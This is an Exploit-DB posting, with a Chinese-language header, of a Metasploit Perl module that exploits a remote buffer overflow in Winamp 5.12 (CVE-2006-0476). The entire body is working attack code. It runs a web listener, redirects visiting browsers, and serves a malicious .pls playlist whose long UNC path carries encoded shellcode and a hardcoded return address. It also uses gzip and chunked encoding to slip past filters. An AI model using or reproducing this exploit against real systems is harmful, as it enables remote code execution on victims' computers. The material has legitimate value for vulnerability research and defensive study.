标题: Winamp 5.12 - '.pls' Remote Buffer Overflow (Metasploit) EDB-ID: 1460 CVE: 2006-0476 类型: REMOTE 平台: WINDOWS 发布日期: 2006-01-31 漏洞利用脚本: ##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::winamp_playlist_unc;

use strict;
use base "Msf::Exploit";
use Pex::Text;
use IO::Socket::INET;
use IPC::Open3;

 my $advanced =
  {
 'Gzip'       => [1, 'Enable gzip content encoding'],
 'Chunked'    => [1, 'Enable chunked transfer encoding'],
 'Humor'      => [0, 'Enable humorous song names'],
  };

my $info =
  {
 'Name'           => 'Winamp Playlist UNC Path Computer Name Overflow',
 'Version'        => '$Revision: 1.3 $',
 'Authors'        =>
   [
  'H D Moore <hdm [at] metasploit.com',
  'Faithless <rhyskidd [at] gmail.com>',
   ],

 'Description'    =>
   Pex::Text::Freeform(qq{
  This module exploits a vulnerability in the Winamp media player.
 This flaw is triggered when a audio file path is specified, inside a
 playlist, that consists of a UNC path with a long computer name. This
 module delivers the playlist via the browser.
}),

 'Arch'           => [ 'x86' ],
 'OS'             => [ 'win32', 'winxp', 'win2003' ],
 'Priv'           => 0,

 'AutoOpts'       => { 'EXITFUNC' => 'process' },
 'UserOpts'       =>
   {
  'HTTPPORT' => [ 1, 'PORT', 'The local HTTP listener port', 8080      ],
  'HTTPHOST' => [ 0, 'HOST', 'The local HTTP listener host', "0.0.0.0" ],
    'REALHOST' => [ 0, 'HOST', 'External address to use for redirects (NAT)' ],
   },

 'Payload'        =>
   {
  'Space'    => 526,
  'BadChars' => "\x00\x5c\x2f\x0a\x0d\x20",
  'Keys'     => ['-bind'],
  
  # Landing on \x5c\x5c trashes esp, restore from ecx
  'PrependEncoder' => "\x87\xe1",
  
  # Disable nop sleds completely (dont modify ecx)
  'MinNops'  => 0,
  'MaxNops'  => 0,
   },
 'Refs'           =>
   [
    ['BID', '16410'],
  ['URL', 'http://milw0rm.com/id.php?id=1458/'],
  ['URL', 'http://secunia.com/advisories/18649/'],  
   ],

 'DefaultTarget'  => 0,
 'Targets'        =>
   [
    # Return to exe, 0x0d is replaced by 0x00 >:-)
  [ 'Winamp 5.12 Universal', 0x0d45fece  ]
   ],

 'Keys'           => [ 'winamp' ],

 'DisclosureDate' => 'Jan 29 2006',
  };

sub new {
 my $class = shift;
 my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
 return($self);
}

sub Exploit
{
 my $self = shift;
 my $server = IO::Socket::INET->new(
  LocalHost => $self->GetVar('HTTPHOST'),
  LocalPort => $self->GetVar('HTTPPORT'),
  ReuseAddr => 1,
  Listen    => 1,
  Proto     => 'tcp'
   );
 my $client;

 # Did the listener create fail?
 if (not defined($server)) {
  $self->PrintLine("[-] Failed to create local HTTP listener on " . $self->GetVar('HTTPPORT'));
  return;
 }

 my $httphost = $self->GetVar('HTTPHOST');
 $httphost = Pex::Utils::SourceIP('1.2.3.4') if $httphost eq '0.0.0.0';

 $self->PrintLine("[*] Waiting for connections to http://". $httphost .":". $self->GetVar('HTTPPORT') ."/");

 while (defined($client = $server->accept())) {
  $self->HandleHttpClient(Msf::Socket::Tcp->new_from_socket($client));
 }

 return;
}

sub HandleHttpClient
{
 my $self = shift;
 my $fd   = shift;

 # Set the remote host information
 my ($rport, $rhost) = ($fd->PeerPort, $fd->PeerAddr);

 # Read the HTTP command
 my ($cmd, $url, $proto) = split / /, $fd->RecvLine(10);

 # Read the HTTP headers
 my $headers;
 while ( (my $line = $fd->RecvLine(10))) {
  $headers .= $line;
  last if $line eq "\r\n";
 }

 if ($url !~ /\.pls/i) {
  $self->PrintLine("[*] HTTP Client connected from $rhost:$rport, redirecting...");
  my $content =
   "<html><script>".
   "document.location='".RandomPath().".pls'".
   "</script><body>".
   "One second please...</body></html>"; 

  $fd->Send($self->BuildResponse($content));
  $fd->Close;
  return;
 }

 my $target_idx  = $self->GetVar('TARGET');
 my $target      = $self->Targets->[$target_idx];
 my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
 
 my $name = Pex::Text::AlphaNumText(int(rand(32)+1));
 my $file = Pex::Text::AlphaNumText(1026);
 
 substr($file, 1022, 4, pack('V', $target->[1]));
 substr($file, 0, length($shellcode), $shellcode);
 
 # Too many and it takes too long to load...
 my $pcnt = int(rand(10)+10);
 my $play =
  "[playlist]\r\n".
   
   $self->RandomNames($pcnt).
   
   "File".   ($pcnt+1). "=\\\\$file\r\n" .
   "Title".  ($pcnt+1). "=$name\r\n".
   "Length". ($pcnt+1). "=".sprintf("%x",rand(1024)+1)."\r\n".
   
   "NumberOfEntries=".($pcnt+1)."\r\n". 
   "Version=2\r\n";

 $self->PrintLine("[*] HTTP Client connected from $rhost:$rport, sending ".length($shellcode)." bytes of payload...");


 $fd->Send($self->BuildResponse($play, "audio/x-scpls"));

 # Prevents IE from throwing an error in some cases
 select(undef, undef, undef, 0.1);

 $fd->Close();
}

sub RandomPath {
 my $self = shift;
 my $path;

 while (length($path) < 32) {
  $path .= "/" . Pex::Text::AlphaNumText(int(rand(30) + 5));
 }
 return $path;
}

sub RandomNames {
 my $self = shift;
 return $self->RandomNamesFun(@_) if $self->GetVar('Humor');
 my $scnt = shift;
 
 my $ppad = '';
 
 for my $idx (1..$scnt) {
  my $pname = Pex::Text::AlphaNumText(int(rand(32)+1));
  my $pfile = Pex::Text::AlphaNumText(int(rand(32)+1)).".mp3";
  $ppad .=
   "File".   ($idx). "=".$pfile."\r\n" .
   "Title".  ($idx). "=".$pname."\r\n".
   "Length". ($idx). "=".sprintf("%x",rand(1024)+1)."\r\n"; 
 }
 return $ppad;
}

sub BuildResponse {
 my ($self, $content, $ctype) = @_;
 $ctype ||= "text/html";
 
 my $response =
   "HTTP/1.1 200 OK\r\n" .
   "Content-Type: $ctype\r\n";

 if ($self->GetVar('Gzip')) {
  $response .= "Content-Encoding: gzip\r\n";
  $content = $self->Gzip($content);
 }
 if ($self->GetVar('Chunked')) {
  $response .= "Transfer-Encoding: chunked\r\n";
  $content = $self->Chunk($content);
 } else {
  $response .= 'Content-Length: ' . length($content) . "\r\n" .
    "Connection: close\r\n";
 }

 $response .= "\r\n" . $content;

 return $response;
}

sub Chunk {
 my ($self, $content) = @_;

 my $chunked;
 while (length($content)) {
  my $chunk = substr($content, 0, int(rand(10) + 1), '');
  $chunked .= sprintf('%x', length($chunk)) . "\r\n$chunk\r\n";
 }
 $chunked .= "0\r\n\r\n";

 return $chunked;
}

sub Gzip {
 my $self = shift;
 my $data = shift;
 my $comp = int(rand(5))+10;

 my($wtr, $rdr, $err);

 my $pid = open3($wtr, $rdr, $err, 'gzip', '-'.$comp, '-c', '--force');
 print $wtr $data;
 close ($wtr);
 local $/;

 return (<$rdr>);
}


sub RandomNamesFun {
 my $self = shift;
 my $scnt = shift;
 my @ffun = 
 (
  "Angelina vs Rosie O - Butter Time", 
  "Richards Gerbil Adventure",
  "Elton John Bachelor Party",
  "Paris Hilton Greased Chihuahua",
  "OH MY GOD",
  "SOMEONE IS OWNING",
  "MY WINAMP!",
 );
 
 my $ppad = '';
 
 for my $idx (1..$scnt) {
  my $pname = $ffun[ $idx % scalar(@ffun) ];
  $ppad .=
   "File".   ($idx). "=".$pname."\r\n" .
   "Title".  ($idx). "=".$pname."\r\n".
   "Length". ($idx). "=".sprintf("%x",rand(1024)+1)."\r\n"; 
 }
 return $ppad;
}
1;

# milw0rm.com [2006-01-31] URL: https://www.exploit-db.com/exploits/1460